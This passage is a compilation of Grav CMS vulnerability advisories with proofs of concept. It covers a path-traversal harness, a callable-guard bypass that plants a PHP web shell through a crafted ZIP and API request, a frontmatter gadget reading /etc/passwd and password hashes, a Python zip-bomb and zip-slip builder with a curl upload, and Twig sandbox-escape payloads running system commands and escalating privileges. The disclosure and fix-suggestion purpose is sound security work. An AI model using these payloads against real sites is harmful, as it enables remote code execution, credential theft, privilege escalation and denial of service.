// Minimal stand-ins for Config/Pages, only the specific methods the real // Media/MediumFactory/Medium classes actually call. Everything downstream // of these calls is the real, unmodified Grav source under test. class FakeConfig { private $mediaTypes; public function construct() { $this->mediaTypes = arrayfillkeys( ['jpg','jpeg','png','gif','svg','txt','json','xml','pdf','doc','docx'], ['type' => 'file', 'mime' => 'application/octet-stream'] ); $this->mediaTypes['jpg'] = ['type' => 'image', 'mime' => 'image/jpeg']; $this->mediaTypes['png'] = ['type' => 'image', 'mime' => 'image/png']; } public function get($key, $default = null) { if ($key === 'system.media.enablemediatimestamp') return false; if ($key === 'media.types') return $this->mediaTypes; if (strpos($key, 'media.types.') === 0) { $ext = substr($key, strlen('media.types.')); return $this->mediaTypes[$ext] ?? $default; } return $default; } } class FakePages { public function get($path) { return null; } }
$locator = new UniformResourceLocator('/home/claude/grav'); $locator->addPath('user', '', ['user']); $locator->addPath('image', '', ['user/images']);
$grav = new Grav([ 'locator' => function () use ($locator) { return $locator; }, 'config' => function () { return new FakeConfig(); }, 'pages' => function () { return new FakePages(); }, ]); $ref = new ReflectionClass(Grav::class); $prop = $ref->getProperty('instance'); $prop->setAccessible(true); $prop->setValue(null, $grav);
// Stand-in for "somewhere outside the intended scope". Using /tmp so the // PoC is safe to run here, the mechanism is identical for /etc or any // other web-server-readable path. $target = '/tmp/outside-grav-webroot-demo'; @mkdir($target); fileputcontents($target . '/secret-notes.txt', "internal notes, not meant to be public\n"); fileputcontents($target . '/config-snippet.json', '{"apikey":"REDACTED-EXAMPLE-abc123"}'); fileputcontents($target . '/random.bin', randombytes(16)); // not a recognized media type
echo "=== Grav\\Common\\Page\\Media, real unmodified source, given a plain filesystem path ===\n"; echo "Target directory: $target\n"; echo "Is it registered as a Grav stream? " . ($locator->isStream($target) ? 'yes' : 'no') . "\n\n";
// This mirrors mediaDirFunc() exactly: isStream() check, then new Media(). if ($locator->isStream($target)) { $resolved = $locator->findResource($target); } else { $resolved = $target; // the vulnerable fallthrough }
$media = new Media($resolved);
echo "Files Media discovered in that directory:\n"; foreach ($media->all() as $filename => $medium) { echo " - $filename (" . getclass($medium) . ")\n"; // filepath is allow-listed for Medium in the real sandbox config. echo " .filepath => " . $medium->get('filepath') . "\n"; echo " file content (read from that path):\n"; echo " \"" . trim((string) @filegetcontents($medium->get('filepath'))) . "\"\n\n"; }
Step 4, run it: $ php mediatraversalpoc.php
Actual output: === Grav\Common\Page\Media, real unmodified source, given a plain filesystem path === Target directory: /tmp/outside-grav-webroot-demo Is it registered as a Grav stream? no
Files Media discovered in that directory: - config-snippet.json (Grav\Common\Page\Medium\Medium) .filepath => /tmp/outside-grav-webroot-demo/config-snippet.json file content (read from that path): "{"apikey":"REDACTED-EXAMPLE-abc123"}"
- secret-notes.txt (Grav\Common\Page\Medium\Medium) .filepath => /tmp/outside-grav-webroot-demo/secret-notes.txt file content (read from that path): "internal notes, not meant to be public"
random.bin is correctly absent from the output, it does not match a configured media extension, which confirms the harness is exercising the real extension filter rather than dumping everything indiscriminately, the two files that were picked up are picked up because they match Grav's own default media.types list (txt, json, ...), not because of anything I loosened in the stub.
This is the equivalent of a real page containing {{ mediadirectory('/etc').files }} (or any other path outside the site) being able to enumerate and, via .filepath on each item, resolve the absolute path to every matching file the web server process can read, then read its contents.
Impact
Any user who can author page content that gets Twig-processed, which includes, per Grav's own code comments, all modular page content unconditionally, plus any regular page with process.twig: true, can read the content of any file on the filesystem that the web server process has read access to and that matches a configured media extension (txt, json, xml, pdf, doc, docx, images, and more by default). This is not limited to Grav's own installation, it is bounded only by OS-level file permissions of the web server user, so on shared hosting this could reach other tenants' files, and even within a single Grav install it reaches well outside the user:///theme:// scope the sandbox is meant to constrain content authors to.
Suggested fix
In mediaDirFunc(), when $mediadir is not a recognized stream, reject it rather than falling through to use it as-is, or resolve it and verify with realpath() that the result is contained within an explicitly allowed root (for example user://) before constructing Media. Separately, resolve the contradiction in system/config/security.yaml, either remove filepath from the Medium allow-list to match the stated intent in the comment above it, or, if some sandboxed use of filepath is genuinely needed, scope it so it cannot be combined with an unbounded mediadirectory() to reach arbitrary paths.
=========================================================== CWE FIELD =========================================================== CWE-22, Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
=========================================================== CVSS CALCULATOR SELECTIONS (v3.1) =========================================================== Attack Vector: Network Attack Complexity: Low Privileges Required: Low User Interaction: None Scope: Unchanged Confidentiality: High Integrity: None Availability: None
Resulting vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Resulting score: 6.5, severity Medium
Note for the maintainer: I scored this the same base vector as the sandbox array-bypass report since both are read-only, page-editor-privileged, high-confidentiality-impact issues in the same subsystem. I think this one may warrant going higher in your own triage, the array-bypass report only reaches Grav's own system/site/theme config trees, this one reaches the entire filesystem the web server user can read, bounded only by file extension, which is a materially larger blast radius. Please rescore Confidentiality/overall severity if your risk model treats "reads any file on disk" as categorically worse than "reads this app's own config".
=========================================================== SEVERITY FIELD =========================================================== Moderate, possibly High, see note above
Grav CMS before 2.0.16 contains a symlink following vulnerability in Scheduler Job::createLockFile() that allows local attackers to overwrite arbitrary files by pre-creating symlinks at predictable lock file paths in the world-writable temp directory. Attackers can place a symlink at the predictable lock path pointing to any file the web server process can write to, and the next scheduled job run will follow the symlink and overwrite the target file's content with the job ID string.
Grav CMS before 2.0.13 contains a server-side template injection vulnerability in email-action parameters that allows low-privileged page editors to execute arbitrary operating-system commands. Attackers can inject Twig payloads using the unsandboxed find filter in email subject, body, to, or from fields to achieve remote code execution when forms are submitted.
Summary
A logged-in user can run any command on the server. A settings field can fill itself by calling one of Grav's built-in routines, and a safety check is supposed to allow only harmless ones. The check only recognises a routine when its name is written as one piece of text; named as a pair of values instead, it is not examined at all and is passed as safe. Pointing such a field at the routine that unpacks ZIP archives writes a PHP file from an uploaded archive into the site's public folder, which the server then runs.
Details
The check rejects known-dangerous routines and, for those belonging to a component, allows only a short approved list. Both of those cases only apply when the name arrives as a single string. The same routine can be named as a pair (the component and the routine inside it), and in that form the check matches neither case, skips both lists and answers "safe". Grav then calls it, with arguments the attacker supplies in the same field. Any routine shipped with Grav becomes callable.
The one used here is what Grav runs when installing a plugin from an archive. It takes an archive and a destination folder. It does check the names of the files inside, so an archive cannot escape with ../, but the destination is used exactly as given, so naming the folder the website is served from drops the contents there. Getting the archive in is trivial: ZIP is an accepted upload type and the files inside are never examined, so an archive containing a PHP file uploads as ordinary media to a predictable address.
Everything is set up over the web. Saving a plugin's settings stores the values as sent, and the Flex Objects plugin treats each entry of its own directory list as the address of a file describing fields. Pointing that list at the settings file being saved makes one file act as both, so the malicious field is created through a normal settings save with no file edited on the server.
PoC
1. Log in at http://TARGET/login (or /admin). The session cookie is the only credential needed below.
2. Build and upload the zip file. In the panel this is the Media tab; it is stored unchanged at /user/media/evil.zip.
Zip the shell.php file with the php code mentioned below: shell.php: <?php system($GET['c']); ?> zip evil.zip shell.php
3. Send the request (attach your Cookie and X-API-Token):
PATCH /api/v1/config/plugins/flex-objects Content-Type: application/json
{ "directories": ["user/config/plugins/flex-objects.yaml"], "title": "Pwn", "type": "flex-objects", "config": { "data": { "object": "Grav\\Common\\Flex\\Types\\Generic\\GenericObject", "collection": "Grav\\Common\\Flex\\Types\\Generic\\GenericCollection", "index": "Grav\\Common\\Flex\\Types\\Generic\\GenericIndex", "storage": { "class": "Grav\\Framework\\Flex\\Storage\\SimpleStorage", "options": { "formatter": {"class": "Grav\\Framework\\File\\Formatter\\JsonFormatter"}, "folder": "user-data://flex-objects/pwn.json" } } } }, "form": { "validation": "loose", "fields": { "name": {"type": "text", "label": "Name"}, "pwn": {"type": "text", "label": "pwn", "data-default@": [["Grav\\Common\\GPM\\Installer", "unZip"], "user/media/evil.zip", "/absolute/path/to/grav-docroot"]} } } }
4. Trigger it. In the panel, open the new directory and add an object. As a request (attach your Cookie and X-API-Token):
POST /api/v1/flex-objects/flex-objects Content-Type: application/json
{"name": "x"} -> 201
5. Open the file that was written:
http://TARGET/shell.php?c=id -> PWNED:uid=1000(kali) gid=1000(kali) ...
Impact
Remote code execution by a logged-in user, so the whole server is compromised. Commands run as the web server's account.
Grav CMS 2.0.10 contains a path traversal vulnerability in ImageMedium::watermark(), which passes its unsanitized $image argument to RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator::findResource(). Because the file:// scheme branch only lexically collapses '..' segments without a realpath/containment check, an editor authoring Markdown image syntax with traversal sequences can cause arbitrary image files outside Grav's media sandbox to be composited into a carrier image, which is then cached and served from a public, unauthenticated URL — disclosing those files to anonymous visitors.
Summary Grav CMS's blueprint dynamic-field callable guard can be bypassed with a fully-qualified Class::method string, letting an account with only page-editing rights (admin.pages, not super-admin) plant a directive in a page's form-field frontmatter that invokes an arbitrary public static PHP method with attacker-controlled arguments. Using built-in gadget methods this yields, at minimum, arbitrary reading of any server-readable file (disclosed to anonymous visitors of the crafted page) and arbitrary creation/copying of files and directories under the web-server account.
Details Blueprint::isSafeDynamicCall() (system/src/Grav/Common/Data/Blueprint.php, method around line 488) is meant to block dangerous callables named in a blueprint's dynamic-field directives (data-@). It only consults its dangerous-name denylist when the callable string does not contain ::: php if (isstring($function) && !strcontains($function, '::') && Utils::isDangerousFunction($function)) { return false; } Any callable string containing :: — i.e. every Class::method static call — skips the check entirely and is passed to calluserfuncarray() at Blueprint::dynamicData() (Blueprint.php, around line 461) and FlexDirectory::dynamicDataField() (system/src/Grav/Framework/Flex/FlexDirectory.php, around line 937). There is no allowlist restricting which classes or methods may be invoked this way; only the call's arguments are (separately) scanned for smuggled dangerous callables, never the target itself.
Utils::isDangerousFunction() (system/src/Grav/Common/Utils.php) classifies any string containing a colon (strcontains($name, ":")) or a namespace backslash as dangerous — so a qualified Class::method string would be rejected if it ever reached this function. The !strcontains($function, '::') condition in isSafeDynamicCall() ensures it never does, which is what leaves qualified static calls entirely unscreened. (Whether the exemption was intended to admit legitimate Class::method option-providers is a plausible reading of the surrounding code, but the intent is not established here.)
This is an incomplete fix of two recently published advisories — one addressing page editors executing hidden callables via form-field settings, the other extending the same guard to Flex directories. The guard those fixes introduced never covered qualified static calls. Grav's own permission model separates page-content code execution into a distinct, higher privilege (admin.pagestwig) from plain page editing (admin.pages), so invoking arbitrary methods from an admin.pages-authored page is a genuine trust-boundary bypass, not editor capability by design.
PoC Tested on Grav develop at commit db8c1fc (which self-reports version 2.0.11) with the admin and form plugins, using an account granted only admin.login + admin.pages (page editor, not super-admin). The same guard is present in every current release from 2.0.7 through 2.0.10. Base URL shown as https://grav.example.
A. Arbitrary file read (confidentiality)
1. Log in to /admin as the page-editor account (GET /admin for the login nonce, then POST task=login). 2. Save a page via the standard admin endpoint, POST /admin/pages/<route> with the session cookie, the admin nonce, and data[frontmatter] containing a form field with a download gadget directive: yaml forms: x: fields: y: type: text data-opts@: - 'Grav\Common\Utils::download' - '/etc/passwd' - false - 0 - 1024 - mime: 'text/plain' The server returns HTTP 200 and accepts the save — the data-opts@ directive is not rejected. 3. As an unauthenticated visitor (no cookies), request the saved page, e.g. GET /<route> (use a fresh query string to avoid a cached copy; immediately after saving, a first request may 404 while the flat-file page index catches up — retry moments later). The response is HTTP 200 with the raw contents of /etc/passwd in the body (root:x:0:0:...). Pointing the path at user/accounts/<name>.yaml instead returns that account file, including its hashedpassword: bcrypt line — i.e. an anonymous visitor obtains a stored administrator's password hash.
B. Arbitrary file/directory write (integrity) — verified
Using the same mechanism with Grav\Common\Filesystem\Folder::copy (a public static method taking source and destination paths), a page editor caused the server to copy an existing page directory to an attacker-chosen new path under user/pages/; the newly created page then rendered its (attacker-controlled) content at the new route over plain HTTP. This demonstrates attacker-controlled creation of files/directories anywhere the web-server account can write. Folder::move and Folder::delete are equally reachable (their destructive nature was not exercised).
Impact A page editor (an admin.pages-only account, not super-admin) can, through a page they author:
- Read any server-readable file, disclosed to any anonymous, unauthenticated visitor of the crafted page — including user/accounts/.yaml, which stores account metadata and bcrypt password hashes. An attacker may attempt offline cracking of a disclosed hash; recovery of a weak or reused administrator password could lead to full admin-panel compromise. Other secrets on disk (site/plugin config, environment files) are equally exposed. - Create or overwrite files and directories under the web-server account (demonstrated via Folder::copy), with Folder::move/Folder::delete additionally reachable for destructive tampering.
Because the guard permits any public static method, the reachable impact is bounded only by the gadget surface of the loaded codebase, not by this report's demonstrated cases.
Summary An authenticated admin.super user can crash Grav or fill the disk by uploading a specially crafted ZIP archive through the Direct Install tool. The method Installer::unZip() calls ZipArchive::extractTo() without any limit on uncompressed size, entry count, or directory depth, enabling Zip Bomb (CWE-409), stack overflow (CWE-674), and disk/inode exhaustion. Details The vulnerability is in system/src/Grav/Common/GPM/Installer.php:176-208 (Installer::unZip()). The ZipArchive::extractTo() call at line 184 is not preceded by any validation of the archive contents.
Missing validation: - ❌ No total uncompressed size check (decompression bomb — CWE-409) - ❌ No entry count check (inode exhaustion) - ❌ No directory nesting depth check (stack overflow in Folder::doDelete() — CWE-674)
The subsequent cleanup call Folder::delete($destination) at line 189 recursively deletes every subdirectory without depth limit (Folder.php:531-547). A ZIP with thousands of nested directories will cause PHP's maximum nesting level to be exceeded, so the cleanup fails silently and leaves extracted files on disk.
The existing Zip Slip fix (GHSA-w48r-jppp-rcfw / CVE-2026-42607, commit 5a12f9be8) only checks for ../ in entry paths and does not add any size, count, or depth limits. PoC 1. Generate the malicious ZIP:
python3 cvepocgravzip.py: python #!/usr/bin/env python3 """ CVE PoC — Grav CMS Installer::unZip() Zip Bomb + Zip Slip + Deep Nesting ZIP file to attach to the CVE advisory.
Note: Zip Slip (../) already has CVE-2026-42607. This PoC targets the Zip Bomb (CWE-409) which has NO CVE — extracted size/depth/count have no limits. """
import zipfile, os, sys
OUT = "/tmp/cvepocgrav.zip"
def build(): with zipfile.ZipFile(OUT, 'w', zipfile.ZIPDEFLATED) as z: # --- Zip Slip: arbitrary write outside target --- z.writestr("../../../tmp/CVEPOCSLIP", "ZIP SLIP: writes outside target\n")
# --- Deep nesting: 100 levels → Folder::delete() has no depth limit --- for i in range(100): z.writestr(f"deep/{'x/' i}.keep", "")
# --- Compression bomb: 100 identical files = ratio ~ 196:1 --- for i in range(100): z.writestr(f"bomb/{i}.dat", b"A" 100000)
with zipfile.ZipFile(OUT) as z: infos = z.infolist() compressed = os.path.getsize(OUT) uncompressed = sum(e.filesize for e in infos) slip = any(".." in e.filename for e in infos) depths = [e.filename.count('/') for e in infos]
print("=" 60) print("CVE PoC — Grav CMS Installer::unZip()") print("Zip Bomb | Zip Slip | Deep Nesting") print("=" 60) print(f"File : {OUT}") print(f"ZIP size : {compressed:,} B ({compressed/1024:.1f} KB)") print(f"Uncompressed : {uncompressed:,} B ({uncompressed/1024/1024:.1f} MB)") print(f"Ratio : {uncompressed/compressed:.0f}:1") print(f"Entries : {len(infos)}") print(f"Max depth : {max(depths) if depths else 0}") print(f"Zip Slip (../) : {'YES' if slip else 'NO'}") print(f"\nUpload via Grav Admin → /admin/tools/direct-install?task=directInstall") print(f"Result: disk exhaustion + Folder::delete() stack overflow + arbitrary write") if name == "main": build()
3. Authenticate as admin.super and retrieve the nonce from /admin
4. Upload through Direct Install: curl -X POST 'https://target/admin/tools/direct-install?task=directInstall' \ -H 'Cookie: grav-admin=<SESSION>' \ -F 'admin-nonce=<NONCE>' \ -F 'uploadedfile=@/tmp/cvepocgrav.zip' Result: server extracts all entries (9.5 MB → 200 files + 100 nesting levels). The cleanup crashes with "Maximum function nesting level reached" due to 100-level deep recursion. Impact
An authenticated administrator (admin.super) can: - Fill the server disk with highly compressed data (196:1 ratio with simple repeating data, up to 10^11:1 with nested ZIP bombs) - Exhaust inodes via thousands of small files - Trigger a PHP stack overflow via deep directory nesting that prevents cleanup, leaving files on disk permanently - Partially or fully deny service to all users (both authenticated and unauthenticated)
Grav CMS before 2.0.0-beta.2 contains multiple code-execution vulnerabilities. Three unsafe unserialize() calls - in Scheduler\JobQueue, Framework\Cache\Adapter\FileCache, and Session - deserialize untrusted data without restricting allowed classes, enabling PHP object injection and, via a gadget chain, arbitrary code execution where an attacker controls the serialized input. Additionally, InstallCommand's git clone operation passes the branch, url, and path parameters into a shell command without escaping, allowing OS command injection via plugin/theme installation (which requires admin access). A Twig security blocklist bypass (server-side template injection) is also present. The issues are fixed in 2.0.0-beta.2.
A vulnerability was found in Grav CMS up to 1.7.49.5/2.0.0-beta.1. Affected by this vulnerability is the function FileCache::doGet of the file system/src/Grav/Framework/Cache/Adapter/FileCache.php of the component Cache Value Handler. The manipulation results in deserialization. The attack may be launched remotely. The attack requires a high level of complexity. The exploitation appears to be difficult. The exploit has been made public and could be used. Upgrading to version 2.0.0-beta.2 addresses this issue. The patch is identified as c66dfeb5f. The affected component should be upgraded.
Grav CMS v1.7.x and before is vulnerable to XML External Entity (XXE) through the SVG file upload functionality in the admin panel and File Manager plugin.
Grav CMS 1.6.30 with Admin Plugin 1.9.18 contains a persistent cross-site scripting vulnerability that allows authenticated attackers to inject malicious scripts through the page title field. Attackers can create a new page with a malicious script in the title, which will be executed when the page is viewed in the admin panel or on the site.
Summary
An IDOR (Insecure Direct Object Reference) vulnerability in the Grav CMS Admin Panel allows low-privilege users to access sensitive information from other accounts. Although direct account takeover is not possible, admin email addresses and other metadata can be exposed, increasing the risk of phishing, credential stuffing, and social engineering.
---
Details
Endpoint: /admin/accounts/users/{username} Tested Version: Grav Admin 1.7.48 Affected Accounts: Authenticated users with 0 privileges (non-privileged accounts)
Description: Requesting another user’s account details (e.g., /admin/accounts/users/admin) as a low-privilege user returns an HTTP 403 Forbidden response. However, sensitive information such as the admin’s email address is still present in the response source, specifically in the <title> tag.
system/src/Grav/Common/Flex/Types/Users/UserCollection.php <img width="700" height="327" alt="Screenshot 2025-08-24 021027" src="https://github.com/user-attachments/assets/7e69ae49-d8fc-442f-b00c-9efaec706b2e" />
system/blueprints/flex/user-accounts.yaml <img width="700" height="300" alt="Screenshot 2025-08-24 020521" src="https://github.com/user-attachments/assets/756631c8-d60b-4b84-a08a-2a9c2f81b41f" />
This is a classic IDOR vulnerability, where object references (usernames) are not properly protected from unauthorized enumeration.
---
PoC
1. Log in as a non-privileged user (0-privilege account). 2. Access another user’s endpoint, for example:
GET /admin/accounts/users/admin 3. Observe the HTTP 403 Forbidden response. 4. Inspect the page source; sensitive data such as the admin email can be seen in the <title> tag.
PoC Video:
https://drive.google.com/file/d/1lYqwqSkN5sPNmHvXGOk6R1mdIgVt71H/view
---
Impact
Type: Information Disclosure via IDOR Who is impacted: Low-privilege authenticated users can enumerate other accounts and extract sensitive metadata (admin emails). Risk: Exposed information can be used for targeted phishing, credential stuffing, brute-force attacks, or social engineering campaigns. Severity Justification: Only a low-privilege account is required, and sensitive metadata is leaked. Arbitrary code execution is not possible, but the information exposure is moderate risk.
---
Disclosure & CVE Request
We request a CVE ID for this vulnerability once validated. Please credit the discovery to:
Elvin Nuruyev Kanan Farzalili
Summary A path traversal vulnerability has been identified in Grav CMS, versions 1.7.49.5 , allowing authenticated attackers with administrative privileges to read arbitrary files on the underlying server filesystem. This vulnerability arises due to insufficient input sanitization in the backup tool, where user-supplied paths are not properly restricted, enabling access to files outside the intended webroot directory. The impact of this vulnerability depends on the privileges of the user account running the application.
PoC To accurately demonstrate the maximum potential impact of this vulnerability, the testing environment was configured in a specific way:
- Elevated Privileges: The application was run locally with the highest possible system privileges, operating under the root user account. - Objective: This configuration was chosen to unequivocally show that the path traversal vulnerability is not just a theoretical issue but can lead to a complete compromise of the underlying host when combined with poor operational practices. The ability to read any file on the system is the ultimate test of the flaw's severity.
Proof of Concept Goal: Under these conditions, the subsequent PoC will exploit the vulnerability to read the SSH private key of the root user (/root/.ssh/idrsa). The successful exfiltration of this key represents a worst-case scenario, as it would provide an attacker with persistent, undetectable, and complete administrative access to the host server. This highlights the critical intersection of an application-layer vulnerability and a infrastructure-level misconfiguration.
1- LOGIN AS ADMIN AND GO TO : http://127.0.0.1/admin/tools/backups 2- Change 'Root Folder' to backup directory /../../../../../../../root/.ssh/
<img width="1902" height="492" alt="Screenshot 2025-09-11 161519" src="https://github.com/user-attachments/assets/23a60dc3-7758-4e24-b910-e66a1dd1f5e2" />
3- CLICK : 'SAVE' 4- CLICK : 'Backup Now'
<img width="1916" height="512" alt="Screenshot 2025-09-11 154151" src="https://github.com/user-attachments/assets/88a63ff2-777e-467e-857b-0644ef698499" />
5- Extract Backup :
<img width="704" height="101" alt="Screenshot 2025-09-11 160114" src="https://github.com/user-attachments/assets/b91ce4db-9843-4280-b8f0-32c73aa12d4d" /> <img width="567" height="101" alt="Screenshot 2025-09-11 160135" src="https://github.com/user-attachments/assets/155ce7d8-c2fc-4b54-b054-f7c7550bec82" />
Summary
Grav CMS is vulnerable to a Server-Side Template Injection (SSTI) that allows any authenticated user with editor permissions to execute arbitrary code on the remote server, bypassing the existing security sandbox.
Details
Grav CMS uses a custom sandbox to protect the powerful Twig methods such as registerUndefinedFilterCallback(). These methods are designed to prevent SSTI attacks by denying the execution of dangerous PHP functions (e.g., exec(), passthru(), system(), etc.) within Twig template directives.
The current defense mechanism relies on a blacklist of prohibited functions (PHP, Twig), checked through the isDangerousFunction() method in the file system/src/Grav/Common/Twig.php:
php $this->twig->registerUndefinedFilterCallback(function (string $name) use ($config) { $allowed = $config->get('system.twig.safefilters'); if (isarray($allowed) && inarray($name, $allowed, true) && functionexists($name)) { return new TwigFilter($name, $name); } if ($config->get('system.twig.undefinedfilters')) { if (functionexists($name)) { if (!Utils::isDangerousFunction($name)) { usererror("PHP function {$name}() used as Twig filter. This is deprecated in Grav 1.7. Please add it to system configuration: system.twig.safefilters", EUSERDEPRECATED);
return new TwigFilter($name, $name); }
/ @var Debugger $debugger / $debugger = $this->grav['debugger']; $debugger->addException(new RuntimeException("Blocked potentially dangerous PHP function {$name}() being used as Twig filter. If you really want to use it, please add it to system configuration: system.twig.safefilters")); }
return new TwigFilter($name, static function () {}); }
return false; });
In this code, the isDangerousFunction() check is bypassed if the filter defined in the $name variable is considered safe. Only an administrator can mark a function as safe by adding it to the system.twig.safefilters configuration properties (whitelists that are empty by default) in the system/config/system.yaml file.
Notably, the Twig class is defined within the system/src/Grav/Common/Twig.php file, and the Twig object (and environment) is instantiated there:
php / Class Twig @package Grav\Common\Twig / class Twig { / @var Environment / public $twig; / @var array / public $twigvars = []; / @var array / public $twigpaths; / @var string / public $template;
// Constructor public function construct(Grav $grav) { $this->grav = $grav; $this->twigpaths = []; }
// Twig initialization method public function init() { if (null === $this->twig) { / @var Config $config / $config = $this->grav['config']; / @var UniformResourceLocator $locator / $locator = $this->grav['locator']; / @var Language $language / $language = $this->grav['language'];
$activelanguage = $language->getActive(); ... } } }
Since the security sandbox does not fully protect the Twig object, it is possible to interact with it (e.g., call methods, read/write attributes) through maliciously crafted Twig template directives injected into a web page. This allows an authenticated editor to add arbitrary functions to the Twig attribute system.twig.safefilters, effectively bypassing the Grav CMS sandbox.
Proof of Concept (PoC) An authenticated user with permission to edit a page (with Twig processing enabled) in the Grav CMS admin console can inject malicious template directives to execute arbitrary OS commands on the remote web server.
For example, to exploit the vulnerability and execute the prohibited system('id') command, bypassing the sandbox, an editor could create/edit a web page with the following template directives:
twig {% set arr = {'1':'system', '2':'exec'} %} {{ vardump(grav.twig.twigvars['config'].set('system.twig.safefilters', arr)) }} {{ 'id'|system }} {{ 'whoami'|exec }}
Once the page is saved, it can be accessed by unauthenticated users, triggering the execution of the system('id') command on the server hosting the vulnerable Grav CMS.
Impact The vulnerability allows remote code execution on the underlying server, which could lead to full server compromise.
Summary A user with admin panel access and permissions to create or edit pages in Grav CMS can enable Twig processing in the page frontmatter. By injecting malicious Twig expressions, the user can escalate their privileges to admin or execute arbitrary system commands via the scheduler API. This results in both Privilege Escalation (PE) and Remote Code Execution (RCE) vulnerabilities.
Details Grav CMS allows Twig to be executed in page templates if enabled in admin panel (process: twig: true). A user with publisher/editor privileges, that can create or edit pages and enable twig processing, can thereby inject arbitrary code that will execute in the context of the page render.
This enables exploitation of Grav internal APIs such as: - grav.user.update() and grav.user.save() for escalating the current user to super admin or admin - grav.scheduler.addCommand(), grav.scheduler.save() and grav.scheduler.run() for code execution
The Twig sandbox is not enforced in this context, allowing full access to any backend PHP object and method in the system/src/Grav/Common directory.
PoC Preconditions: - You must have access to a non-admin user with permission to create/edit pages (admin.pages access) - For Privilege Escalation, you also have to be logged in to the site with the same user as the admin panel.
Steps to reproduce Privilege Escalation: 1. Login into the non-admin page (default at cms-url/login). 2. Login to the admin panel, create or edit a page and set the Twig processing to true (Advanced -> Process: Twig: true). 3. Inject the following payload into the page content to escalate privileges: {% set = grav.user.update({ 'access': { 'admin': { 'login': true, 'super': true } } }, {}) %} {% set = grav.user.save() %} 4. Visit the edited/created page url. The logged in user is now admin. (Note: For the changes to show, you need to log out of the admin panel and relogin).
Steps to reproduce Remote Code Execution: 1. Login to the admin panel, create or edit a page and set the Twig processing to true (Advanced -> Process: Twig: true). 2. Inject the following payload into the page content to execute commands: {% set = grav.scheduler.addCommand('curl', ['http://localhost:8000']) %} {% set = grav.scheduler.save() %} {% set = grav.scheduler.run() %} 3. Visit the page to trigger the execution. The system will issue a curl request.
Impact This vulnerability allows: - Privilege Escalation from any user with page editing capabilities to full admin (super) access. - Remote Code Execution, as the attacker can run system arbitrary commands via the scheduler API.
It affects any Grav CMS installation where users with lower privileges are allowed to create or edit pages and Twig processing is not globally disabled.